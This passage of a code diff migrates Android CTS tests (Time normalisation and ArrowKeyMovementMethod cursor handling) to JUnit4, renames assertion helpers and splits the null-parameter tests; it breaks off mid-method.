         // isDst = -1, normalize(false)
         Fields.set(t, 1995, 0, 1, 10, 20, 0, -1 /* isDst */, 9, 9, 9);
         Fields.set(expected, 1995, 0, 1, 10, 20, 0, -1 /* isDst */, 9, 9, 9);
-        assertNormalizeResult(false, t, expected, -1);
+        verifyNormalizeResult(false, t, expected, -1);
     }
 
+    @Test
     public void testNormalize_utcWithDst() {
         // In UTC (or other zone without DST), what happens when a DST time is specified and there
         // is no DST offset available in the timezone data.
@@ -2687,14 +2794,15 @@
         // isDst = 1, normalize(false)
         Fields.set(t, 2005, 6, 22, 1, 30, 0, 1 /* isDst */, 9, 9, 9);
         Fields.set(expected, 2005, 6, 22, 1, 30, 0, 1 /* isDst */, 9, 9, 9);
-        assertNormalizeResult(false, t, expected, -1);
+        verifyNormalizeResult(false, t, expected, -1);
 
         // isDst = -1, normalize(false)
         Fields.set(t, 2005, 6, 22, 1, 30, 0, -1 /* isDst */, 9, 9, 9);
         Fields.set(expected, 2005, 6, 22, 1, 30, 0, 0 /* isDst */, 0, 202, 5);
-        assertNormalizeResult(false, t, expected, 1121995800000L);
+        verifyNormalizeResult(false, t, expected, 1121995800000L);
     }
 
+    @Test
     public void testUnknownTz() {
         // Historically the code used UTC if the timezone is unrecognized.
 
@@ -2712,14 +2820,14 @@
 
         Time expected = new Time(unknownTimezoneId);
         Fields.set(expected, 2007, 5, 1, 1, 2, 3, 0 /* isDst */, 0, 151, 5);
-        Fields.assertTimeEquals(expected, t);
+        Fields.verifyTimeEquals(expected, t);
     }
 
-    private static void assertNormalizeResult(boolean normalizeArgument, Time toNormalize,
+    private static void verifyNormalizeResult(boolean normalizeArgument, Time toNormalize,
             Time expectedTime, long expectedTimeMillis) {
         long actualTimeMillis = toNormalize.normalize(normalizeArgument /* ignore isDst */);
         assertEquals(expectedTimeMillis, actualTimeMillis);
-        Fields.assertTimeEquals(expectedTime, toNormalize);
+        Fields.verifyTimeEquals(expectedTime, toNormalize);
     }
 
     /** A helper class for manipulating / testing fields on Time objects. */
@@ -2730,19 +2838,15 @@
 
         final static int ALL = MAIN_DATE_TIME | DST_FIELDS | DERIVED_DATE_TIME;
 
-        public static void assertTimeEquals(Time expected, Time actual) {
-            assertTimeEquals("", ALL, expected, actual);
+        public static void verifyTimeEquals(Time expected, Time actual) {
+            verifyTimeEquals("", ALL, expected, actual);
         }
 
-        public static void assertTimeEquals(int fields, Time expected, Time actual) {
-            assertTimeEquals("", fields, expected, actual);
+        public static void verifyTimeEquals(String message, Time expected, Time actual) {
+            verifyTimeEquals(message, Fields.ALL, expected, actual);
         }
 
-        public static void assertTimeEquals(String message, Time expected, Time actual) {
-            assertTimeEquals(message, Fields.ALL, expected, actual);
-        }
-
-        public static void assertTimeEquals(String message, int fields, Time expected,
+        public static void verifyTimeEquals(String message, int fields, Time expected,
                 Time actual) {
             boolean mainDateTimeOk = (fields & Fields.MAIN_DATE_TIME) == 0
                     || (Objects.equals(expected.timezone, actual.timezone)
@@ -2769,7 +2873,7 @@
         }
 
         private static String timeToString(int fields, Time time) {
-            List<Object> values = new ArrayList<Object>();
+            List<Object> values = new ArrayList<>();
             StringBuilder format = new StringBuilder();
             if ((fields & Fields.MAIN_DATE_TIME) > 0) {
                 format.append("%d-%02d-%02d %02d:%02d:%02d allDay=%b timezone=%s ");
diff --git a/tests/tests/text/src/android/text/method/cts/ArrowKeyMovementMethodTest.java b/tests/tests/text/src/android/text/method/cts/ArrowKeyMovementMethodTest.java
index b82b955..7057913 100644
--- a/tests/tests/text/src/android/text/method/cts/ArrowKeyMovementMethodTest.java
+++ b/tests/tests/text/src/android/text/method/cts/ArrowKeyMovementMethodTest.java
@@ -16,10 +16,21 @@
 
 package android.text.method.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
 
+import android.app.Activity;
+import android.app.Instrumentation;
 import android.os.SystemClock;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.UiThreadTest;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.Editable;
 import android.text.Selection;
 import android.text.Spannable;
@@ -35,6 +46,13 @@
 import android.widget.TextView;
 import android.widget.TextView.BufferType;
 
+import com.android.compatibility.common.util.PollingCheck;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 /**
  * Test {@link ArrowKeyMovementMethod}. The class is an implementation of interface
  * {@link MovementMethod}. The typical usage of {@link MovementMethod} is tested in
@@ -43,7 +61,9 @@
  *
  * @see android.widget.cts.TextViewTest
  */
-public class ArrowKeyMovementMethodTest extends ActivityInstrumentationTestCase2<CtsActivity> {
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class ArrowKeyMovementMethodTest {
     private static final String THREE_LINES_TEXT = "first line\nsecond line\nlast line";
     private static final int END_OF_ALL_TEXT = THREE_LINES_TEXT.length();
     private static final int END_OF_1ST_LINE = THREE_LINES_TEXT.indexOf('\n');
@@ -51,46 +71,47 @@
     private static final int END_OF_2ND_LINE = THREE_LINES_TEXT.indexOf('\n', START_OF_2ND_LINE);
     private static final int START_OF_3RD_LINE = END_OF_2ND_LINE + 1;
     private static final int SPACE_IN_2ND_LINE = THREE_LINES_TEXT.indexOf(' ', START_OF_2ND_LINE);
+
+    private Instrumentation mInstrumentation;
     private TextView mTextView;
     private ArrowKeyMovementMethod mArrowKeyMovementMethod;
     private Editable mEditable;
     private MyMetaKeyKeyListener mMetaListener;
 
-    public ArrowKeyMovementMethodTest() {
-        super("android.text.cts", CtsActivity.class);
-    }
+    @Rule
+    public ActivityTestRule<CtsActivity> mActivityRule = new ActivityTestRule<>(CtsActivity.class);
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setup() throws Throwable {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
         mMetaListener = new MyMetaKeyKeyListener();
         mArrowKeyMovementMethod = new ArrowKeyMovementMethod();
 
-        initTextViewWithNullLayout();
+        mActivityRule.runOnUiThread(() -> {;
+            initTextViewWithNullLayout();
 
-        getInstrumentation().runOnMainSync(new Runnable() {
-            public void run() {
-                getActivity().getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON |
-                        WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON);
+            Activity activity = mActivityRule.getActivity();
+            activity.getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON |
+                    WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON);
 
-                getActivity().setContentView(mTextView);
-                mTextView.setFocusable(true);
-                mTextView.requestFocus();
-            }
+            activity.setContentView(mTextView);
+            mTextView.setFocusable(true);
+            mTextView.requestFocus();
         });
-        getInstrumentation().waitForIdleSync();
-        assertNotNull(mTextView.getLayout());
-        assertTrue(mTextView.isFocused());
+        PollingCheck.waitFor(() -> mTextView.isFocused() && (mTextView.getLayout() != null));
     }
 
+    @Test
     public void testConstructor() {
         new ArrowKeyMovementMethod();
     }
 
+    @Test
     public void testCanSelectArbitrarily() {
         assertTrue(new ArrowKeyMovementMethod().canSelectArbitrarily());
     }
 
+    @Test
     public void testGetInstance() {
         MovementMethod method0 = ArrowKeyMovementMethod.getInstance();
         assertNotNull(method0);
@@ -100,6 +121,7 @@
         assertSame(method0, method1);
     }
 
+    @Test
     public void testOnTakeFocus() throws Throwable {
         /*
          * The following assertions depend on whether the TextView has a layout.
@@ -110,75 +132,64 @@
          * into several steps, setting the content at first, waiting the layout,
          * and checking the assertion at last.
          */
-        assertSelection(-1);
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                Selection.removeSelection(mEditable);
-                mArrowKeyMovementMethod.onTakeFocus(mTextView, mEditable, View.FOCUS_UP);
-            }
+        verifySelection(-1);
+        mActivityRule.runOnUiThread(() -> {
+            Selection.removeSelection(mEditable);
+            mArrowKeyMovementMethod.onTakeFocus(mTextView, mEditable, View.FOCUS_UP);
         });
-        getInstrumentation().waitForIdleSync();
-        assertSelection(END_OF_ALL_TEXT);
+        mInstrumentation.waitForIdleSync();
+        verifySelection(END_OF_ALL_TEXT);
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                Selection.removeSelection(mEditable);
-                mArrowKeyMovementMethod.onTakeFocus(mTextView, mEditable, View.FOCUS_LEFT);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            Selection.removeSelection(mEditable);
+            mArrowKeyMovementMethod.onTakeFocus(mTextView, mEditable, View.FOCUS_LEFT);
         });
-        getInstrumentation().waitForIdleSync();
-        assertSelection(END_OF_ALL_TEXT);
+        mInstrumentation.waitForIdleSync();
+        verifySelection(END_OF_ALL_TEXT);
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setSingleLine();
-            }
-        });
+        mActivityRule.runOnUiThread(mTextView::setSingleLine);
         // wait until the textView gets layout
-        getInstrumentation().waitForIdleSync();
+        mInstrumentation.waitForIdleSync();
         assertNotNull(mTextView.getLayout());
         assertEquals(1, mTextView.getLayout().getLineCount());
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                Selection.removeSelection(mEditable);
-                mArrowKeyMovementMethod.onTakeFocus(mTextView, mEditable, View.FOCUS_UP);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            Selection.removeSelection(mEditable);
+            mArrowKeyMovementMethod.onTakeFocus(mTextView, mEditable, View.FOCUS_UP);
         });
-        assertSelection(END_OF_ALL_TEXT);
+        verifySelection(END_OF_ALL_TEXT);
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                Selection.removeSelection(mEditable);
-                mArrowKeyMovementMethod.onTakeFocus(mTextView, mEditable, View.FOCUS_LEFT);
-            }
+        mActivityRule.runOnUiThread(() -> {
+            Selection.removeSelection(mEditable);
+            mArrowKeyMovementMethod.onTakeFocus(mTextView, mEditable, View.FOCUS_LEFT);
         });
-        assertSelection(END_OF_ALL_TEXT);
-    }
-
-    public void testOnTakeFoucusWithNullLayout() {
-        initTextViewWithNullLayout();
-        assertSelectEndOfContent();
-    }
-
-    public void testOnTakeFocusWithNullParameters() {
-        initTextViewWithNullLayout();
-        try {
-            mArrowKeyMovementMethod.onTakeFocus(null, mEditable, View.FOCUS_DOWN);
-            fail("The method did not throw NullPointerException when param textView is null.");
-        } catch (NullPointerException e) {
-            // expected
-        }
-
-        try {
-            mArrowKeyMovementMethod.onTakeFocus(mTextView, null, View.FOCUS_DOWN);
-            fail("The method did not throw NullPointerException when param spannable is null.");
-        } catch (NullPointerException e) {
-            // expected
-        }
+        verifySelection(END_OF_ALL_TEXT);
     }
 
     @UiThreadTest
+    @Test
+    public void testOnTakeFocusWithNullLayout() {
+        initTextViewWithNullLayout();
+        verifySelectEndOfContent();
+    }
+
+    @UiThreadTest
+    @Test(expected=NullPointerException.class)
+    public void testOnTakeFocusNullView() {
+        // Should throw NullPointerException when param textView is null
+        mArrowKeyMovementMethod.onTakeFocus(null, mEditable, View.FOCUS_DOWN);
+    }
+
+    @UiThreadTest
+    @Test(expected=NullPointerException.class)
+    public void testOnTakeFocusNullSpannable() {
+        initTextViewWithNullLayout();
+        // Should throw NullPointerException when param spannable is null
+        mArrowKeyMovementMethod.onTakeFocus(mTextView, null, View.FOCUS_DOWN);
+    }
+
+    @UiThreadTest
+    @Test
     public void testOnKeyDownWithKeyCodeUp() {
         // shift+alt tests
         final KeyEvent shiftAltEvent = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN,
@@ -194,7 +205,7 @@
         // |first line
         // second |line
         // last line
-        assertSelection(SPACE_IN_2ND_LINE, 0);
+        verifySelection(SPACE_IN_2ND_LINE, 0);
 
         // shift tests
         KeyEvent shiftEvent = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_DPAD_UP, 0,
@@ -218,7 +229,7 @@
         // |first line
         // second |line
         // last line
-        assertSelection(SPACE_IN_2ND_LINE, 0);
+        verifySelection(SPACE_IN_2ND_LINE, 0);
 
         // alt tests
         KeyEvent altEvent = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_DPAD_UP, 0,
@@ -231,7 +242,7 @@
         // |first line
         // second line
         // last line
-        assertSelection(0);
+        verifySelection(0);
 
         // no-meta tests
         KeyEvent noMetaEvent = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_DPAD_UP,
@@ -244,7 +255,7 @@
         // first lin|e
         // second line
         // last line
-        assertSelection(correspondingIn1stLine);
+        verifySelection(correspondingIn1stLine);
 
         // Move to beginning of first line (behavior changed in L)
         assertTrue(mArrowKeyMovementMethod.onKeyDown(mTextView, mEditable,
@@ -252,17 +263,18 @@
         // |first line
         // second line
         // last line
-        assertSelection(0);
+        verifySelection(0);
 
         assertFalse(mArrowKeyMovementMethod.onKeyDown(mTextView, mEditable,
                 KeyEvent.KEYCODE_DPAD_UP, noMetaEvent));
         // first lin|e
         // second line
         // last line
-        assertSelection(0);
+        verifySelection(0);
     }
 
     @UiThreadTest
+    @Test
     public void testOnKeyDownWithKeyCodeDown() {
         // shift+alt tests
         KeyEvent shiftAltEvent = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN,
@@ -278,7 +290,7 @@
         // first line
         // second |line
         // last line|
-        assertSelection(SPACE_IN_2ND_LINE, END_OF_ALL_TEXT);
+        verifySelection(SPACE_IN_2ND_LINE, END_OF_ALL_TEXT);
 
         // shift tests
         KeyEvent shiftEvent = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_DPAD_DOWN,
@@ -302,7 +314,7 @@
         // first line
         // second |line
         // last line|
-        assertSelection(SPACE_IN_2ND_LINE, END_OF_ALL_TEXT);
+        verifySelection(SPACE_IN_2ND_LINE, END_OF_ALL_TEXT);
 
         // alt tests
         KeyEvent altEvent = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_DPAD_DOWN, 0,
@@ -315,7 +327,7 @@
         // first line
         // second line
         // last line|
-        assertSelection(END_OF_ALL_TEXT);
+        verifySelection(END_OF_ALL_TEXT);
 
         // no-meta tests
         KeyEvent noMetaEvent = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_DPAD_DOWN,
@@ -328,7 +340,7 @@
         // first line
         // second line
         // last lin|e
-        assertSelection(correspondingIn3rdLine);
+        verifySelection(correspondingIn3rdLine);
 
         // move to end of last line (behavior changed in L)
         Selection.setSelection(mEditable, END_OF_ALL_TEXT - 1);
@@ -337,17 +349,18 @@
         // first line
         // second line
         // last line|
-        assertSelection(END_OF_ALL_TEXT);
+        verifySelection(END_OF_ALL_TEXT);
 
         assertFalse(mArrowKeyMovementMethod.onKeyDown(mTextView, mEditable,
                 KeyEvent.KEYCODE_DPAD_DOWN, noMetaEvent));
         // first line
         // second line
         // last line|
-        assertSelection(END_OF_ALL_TEXT);
+        verifySelection(END_OF_ALL_TEXT);
     }
 
     @UiThreadTest
+    @Test
     public void testOnKeyDownWithKeyCodeLeft() {
         // shift+alt tests
         KeyEvent shiftAltEvent = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN,
@@ -363,7 +376,7 @@
         // first line
         // |second |line
         // last line
-        assertSelection(SPACE_IN_2ND_LINE, START_OF_2ND_LINE);
+        verifySelection(SPACE_IN_2ND_LINE, START_OF_2ND_LINE);
 
         pressBothShiftAlt();
         assertTrue(mArrowKeyMovementMethod.onKeyDown(mTextView, mEditable,
@@ -371,7 +384,7 @@
         // first line
         // |second |line
         // last line
-        assertSelection(SPACE_IN_2ND_LINE, START_OF_2ND_LINE);
+        verifySelection(SPACE_IN_2ND_LINE, START_OF_2ND_LINE);
 
         // shift tests
         KeyEvent shiftEvent = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_DPAD_LEFT,
@@ -384,7 +397,7 @@
         // first line
         // second| |line
         // last line
-        assertSelection(SPACE_IN_2ND_LINE, SPACE_IN_2ND_LINE - 1);
+        verifySelection(SPACE_IN_2ND_LINE, SPACE_IN_2ND_LINE - 1);
 
         pressShift();
         assertTrue(mArrowKeyMovementMethod.onKeyDown(mTextView, mEditable,
@@ -392,7 +405,7 @@
         // first line
         // secon|d |line
         // last line
-        assertSelection(SPACE_IN_2ND_LINE, SPACE_IN_2ND_LINE - 2);
+        verifySelection(SPACE_IN_2ND_LINE, SPACE_IN_2ND_LINE - 2);
 
         // alt tests
         KeyEvent altEvent = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_DPAD_LEFT, 0,
@@ -405,7 +418,7 @@
         // first line
         // |second line
         // last line
-        assertSelection(START_OF_2ND_LINE);
+        verifySelection(START_OF_2ND_LINE);
 
         pressAlt();
         assertTrue(mArrowKeyMovementMethod.onKeyDown(mTextView, mEditable,
@@ -413,7 +426,7 @@
         // first line
         // |second line
         // last line
-        assertSelection(START_OF_2ND_LINE);
+        verifySelection(START_OF_2ND_LINE);
 
         // no-meta tests
         KeyEvent noMetaEvent = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_DPAD_LEFT,
@@ -426,7 +439,7 @@
         // first line
         // second| line
         // last line
-        assertSelection(SPACE_IN_2ND_LINE - 1);
+        verifySelection(SPACE_IN_2ND_LINE - 1);
 
         Selection.setSelection(mEditable, START_OF_2ND_LINE);
         // first line
@@ -437,10 +450,11 @@
         // first line|
         // second line
         // last line
-        assertSelection(END_OF_1ST_LINE);
+        verifySelection(END_OF_1ST_LINE);
     }
 
     @UiThreadTest
+    @Test
     public void testOnKeyDownWithKeyCodeRight() {
         // shift+alt tests
         KeyEvent shiftAltEvent = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN,
@@ -456,7 +470,7 @@
         // first line
         // second |line|
         // last line
-        assertSelection(SPACE_IN_2ND_LINE, END_OF_2ND_LINE);
+        verifySelection(SPACE_IN_2ND_LINE, END_OF_2ND_LINE);
 
         pressBothShiftAlt();
         assertTrue(mArrowKeyMovementMethod.onKeyDown(mTextView, mEditable,
@@ -464,7 +478,7 @@
         // first line
         // second |line|
         // last line
-        assertSelection(SPACE_IN_2ND_LINE, END_OF_2ND_LINE);
+        verifySelection(SPACE_IN_2ND_LINE, END_OF_2ND_LINE);
 
         // shift tests
         KeyEvent shiftEvent = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_DPAD_RIGHT,
@@ -477,7 +491,7 @@
         // first line
         // second |l|ine
         // last line
-        assertSelection(SPACE_IN_2ND_LINE, SPACE_IN_2ND_LINE + 1);
+        verifySelection(SPACE_IN_2ND_LINE, SPACE_IN_2ND_LINE + 1);
 
         pressShift();
         assertTrue(mArrowKeyMovementMethod.onKeyDown(mTextView, mEditable,
@@ -485,7 +499,7 @@
         // first line
         // second |li|ne
         // last line
-        assertSelection(SPACE_IN_2ND_LINE, SPACE_IN_2ND_LINE + 2);
+        verifySelection(SPACE_IN_2ND_LINE, SPACE_IN_2ND_LINE + 2);
 
         // alt tests
         KeyEvent altEvent = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_DPAD_RIGHT,
@@ -498,7 +512,7 @@
         // first line
         // second line|
         // last line
-        assertSelection(END_OF_2ND_LINE);
+        verifySelection(END_OF_2ND_LINE);
 
         pressAlt();
         assertTrue(mArrowKeyMovementMethod.onKeyDown(mTextView, mEditable,
@@ -506,7 +520,7 @@
         // first line
         // second line|
         // last line
-        assertSelection(END_OF_2ND_LINE);
+        verifySelection(END_OF_2ND_LINE);
 
         // no-meta tests
         KeyEvent noMetaEvent = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN,
@@ -519,7 +533,7 @@
         // first line
         // second l|ine
         // last line
-        assertSelection(SPACE_IN_2ND_LINE + 1);
+        verifySelection(SPACE_IN_2ND_LINE + 1);
 
         Selection.setSelection(mEditable, END_OF_2ND_LINE);
         // first line
@@ -530,10 +544,11 @@
         // first line
         // second line
         // |last line
-        assertSelection(START_OF_3RD_LINE);
+        verifySelection(START_OF_3RD_LINE);
     }
 
     @UiThreadTest
+    @Test
     public void testOnKeyDownWithKeyCodePageUp() {
         // shift+alt tests
         KeyEvent shiftAltEvent = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN,
@@ -549,7 +564,7 @@
         // |first line
         // second |line
         // last line
-        assertSelection(SPACE_IN_2ND_LINE, 0);
+        verifySelection(SPACE_IN_2ND_LINE, 0);
 
         // shift tests
         KeyEvent shiftEvent = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_PAGE_UP,
@@ -562,7 +577,7 @@
         // |first line
         // second |line
         // last line
-        assertSelection(SPACE_IN_2ND_LINE, 0);
+        verifySelection(SPACE_IN_2ND_LINE, 0);
 
         // alt tests
         KeyEvent altEvent = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_PAGE_UP, 0,
@@ -575,7 +590,7 @@
         // |first line
         // second line
         // last line
-        assertSelection(0);
+        verifySelection(0);
 
         // no-meta tests
         KeyEvent noMetaEvent = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_PAGE_UP,
@@ -588,10 +603,11 @@
         // |first line
         // second line
         // last line
-        assertSelection(0);
+        verifySelection(0);
     }
 
     @UiThreadTest
+    @Test
     public void testOnKeyDownWithKeyCodePageDown() {
         // shift+alt tests
         KeyEvent shiftAltEvent = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN,
@@ -607,7 +623,7 @@
         // first line
         // second |line
         // last line|
-        assertSelection(SPACE_IN_2ND_LINE, END_OF_ALL_TEXT);
+        verifySelection(SPACE_IN_2ND_LINE, END_OF_ALL_TEXT);
 
         // shift tests
         KeyEvent shiftEvent = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_PAGE_DOWN,
@@ -620,7 +636,7 @@
         // first line
         // second |line
         // last line|
-        assertSelection(SPACE_IN_2ND_LINE, END_OF_ALL_TEXT);
+        verifySelection(SPACE_IN_2ND_LINE, END_OF_ALL_TEXT);
 
         // alt tests
         KeyEvent altEvent = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_PAGE_DOWN, 0,
@@ -633,7 +649,7 @@
         // first line
         // second line
         // last line|
-        assertSelection(END_OF_ALL_TEXT);
+        verifySelection(END_OF_ALL_TEXT);
 
         // no-meta tests
         KeyEvent noMetaEvent = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_PAGE_DOWN,
@@ -646,10 +662,11 @@
         // first line
         // second line
         // last line|
-        assertSelection(END_OF_ALL_TEXT);
+        verifySelection(END_OF_ALL_TEXT);
     }
 
     @UiThreadTest
+    @Test
     public void testOnKeyDownWithKeyCodeMoveHome() {
         // shift+ctrl tests
         KeyEvent shiftAltEvent = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN,
@@ -665,7 +682,7 @@
         // |first line
         // second |line
         // last line
-        assertSelection(SPACE_IN_2ND_LINE, 0);
+        verifySelection(SPACE_IN_2ND_LINE, 0);
 
         // shift tests
         KeyEvent shiftEvent = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_MOVE_HOME,
@@ -678,7 +695,7 @@
         // first line
         // |second |line
         // last line
-        assertSelection(SPACE_IN_2ND_LINE, START_OF_2ND_LINE);
+        verifySelection(SPACE_IN_2ND_LINE, START_OF_2ND_LINE);
 
         pressShift();
         assertTrue(mArrowKeyMovementMethod.onKeyDown(mTextView, mEditable,
@@ -686,7 +703,7 @@
         // first line
         // |second |line
         // last line
-        assertSelection(SPACE_IN_2ND_LINE, START_OF_2ND_LINE);
+        verifySelection(SPACE_IN_2ND_LINE, START_OF_2ND_LINE);
 
         // ctrl tests
         KeyEvent altEvent = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_MOVE_HOME, 0,
@@ -699,7 +716,7 @@
         // |first line
         // second line
         // last line
-        assertSelection(0);
+        verifySelection(0);
 
         // no-meta tests
         KeyEvent noMetaEvent = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_MOVE_HOME,
@@ -712,7 +729,7 @@
         // first line
         // |second line
         // last line
-        assertSelection(START_OF_2ND_LINE);
+        verifySelection(START_OF_2ND_LINE);
 
         MetaKeyKeyListener.resetMetaState(mEditable);
         assertTrue(mArrowKeyMovementMethod.onKeyDown(mTextView, mEditable,
@@ -720,10 +737,11 @@
         // first line
         // |second line
         // last line
-        assertSelection(START_OF_2ND_LINE);
+        verifySelection(START_OF_2ND_LINE);
     }
 
     @UiThreadTest
+    @Test
     public void testOnKeyDownWithKeyCodeMoveEnd() {
         // shift+ctrl tests
         KeyEvent shiftAltEvent = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN,
@@ -739,7 +757,7 @@
         // first line
         // second |line
         // last line|
-        assertSelection(SPACE_IN_2ND_LINE, END_OF_ALL_TEXT);
+        verifySelection(SPACE_IN_2ND_LINE, END_OF_ALL_TEXT);
 
         // shift tests
         KeyEvent shiftEvent = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_MOVE_END,
@@ -752,7 +770,7 @@
         // first line
         // second |line|
         // last line
-        assertSelection(SPACE_IN_2ND_LINE, END_OF_2ND_LINE);
+        verifySelection(SPACE_IN_2ND_LINE, END_OF_2ND_LINE);
 
         pressShift();
         assertTrue(mArrowKeyMovementMethod.onKeyDown(mTextView, mEditable,
@@ -760,7 +778,7 @@
         // first line
         // second |line|
         // last line
-        assertSelection(SPACE_IN_2ND_LINE, END_OF_2ND_LINE);
+        verifySelection(SPACE_IN_2ND_LINE, END_OF_2ND_LINE);
 
         // ctrl tests
         KeyEvent altEvent = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_MOVE_END, 0,
@@ -773,7 +791,7 @@
         // first line
         // second line
         // last line|
-        assertSelection(END_OF_ALL_TEXT);
+        verifySelection(END_OF_ALL_TEXT);
 
         // no-meta tests
         KeyEvent noMetaEvent = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_MOVE_END,
@@ -786,7 +804,7 @@
         // first line
         // second line|
         // last line
-        assertSelection(END_OF_2ND_LINE);
+        verifySelection(END_OF_2ND_LINE);
 
         MetaKeyKeyListener.resetMetaState(mEditable);
         assertTrue(mArrowKeyMovementMethod.onKeyDown(mTextView, mEditable,
@@ -794,21 +812,19 @@
         // first line
         // second line|
         // last line
-        assertSelection(END_OF_2ND_LINE);
-    }
-
-    public void testOnKeyDownWithNullLayout() {
-        initTextViewWithNullLayout();
-        try {
-            mArrowKeyMovementMethod.onKeyDown(mTextView, mEditable, KeyEvent.KEYCODE_DPAD_RIGHT,
-                    null);
-            fail("The method did not throw NullPointerException when layout of the view is null.");
-        } catch (NullPointerException e) {
-            // expected
-        }
+        verifySelection(END_OF_2ND_LINE);
     }
 
     @UiThreadTest
+    @Test(expected=NullPointerException.class)
+    public void testOnKeyDownWithNullLayout() {
+        initTextViewWithNullLayout();
+        // Should throw NullPointerException when layout of the view is null
+        mArrowKeyMovementMethod.onKeyDown(mTextView, mEditable, KeyEvent.KEYCODE_DPAD_RIGHT, null);
+    }
+
+    @UiThreadTest
+    @Test
     public void testOnKeyOther() {
         // first line
         // second |line
@@ -861,6 +877,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testOnKeyDownWithOtherKeyCode() {
         // first line
         // second |line
@@ -880,19 +897,22 @@
     }
 
     @UiThreadTest
+    @Test
     public void testOnTouchEvent() throws Throwable {
         long now = SystemClock.currentThreadTimeMillis();
         Selection.setSelection(mEditable, SPACE_IN_2ND_LINE);
         assertFalse(mArrowKeyMovementMethod.onTouchEvent(mTextView, mEditable,
                 MotionEvent.obtain(now, now, MotionEvent.ACTION_UP, 1, 1, 0)));
-        assertSelection(SPACE_IN_2ND_LINE);
+        verifySelection(SPACE_IN_2ND_LINE);
 
         assertFalse(mArrowKeyMovementMethod.onTouchEvent(mTextView, mEditable,
                 MotionEvent.obtain(now, now, MotionEvent.ACTION_UP, 1, 1,
                         KeyEvent.META_SHIFT_ON)));
-        assertSelection(SPACE_IN_2ND_LINE);
+        verifySelection(SPACE_IN_2ND_LINE);
     }
 
+    @UiThreadTest
+    @Test
     public void testOnTouchEventWithNullLayout() {
         initTextViewWithNullLayout();
         mTextView.setFocusable(true);
@@ -905,40 +925,39 @@
     }
 
     @UiThreadTest
+    @Test
     public void testOnTouchEventWithoutFocus() {
         long now = SystemClock.currentThreadTimeMillis();
         Selection.setSelection(mEditable, SPACE_IN_2ND_LINE);
         assertFalse(mArrowKeyMovementMethod.onTouchEvent(mTextView, mEditable,
                 MotionEvent.obtain(now, now, MotionEvent.ACTION_UP, 1, 1, 0)));
-        assertSelection(SPACE_IN_2ND_LINE);
+        verifySelection(SPACE_IN_2ND_LINE);
     }
 
-    public void testOnTouchEventWithNullParameters() {
+    @UiThreadTest
+    @Test(expected=NullPointerException.class)
+    public void testOnTouchEventNullView() {
+        // Should throw NullPointerException when param textView is null
+        mArrowKeyMovementMethod.onTouchEvent(null, mEditable, MotionEvent.obtain(0, 0, 0, 1, 1, 0));
+    }
+
+    @UiThreadTest
+    @Test(expected=NullPointerException.class)
+    public void testOnTouchEventNullSpannable() {
         initTextViewWithNullLayout();
-        try {
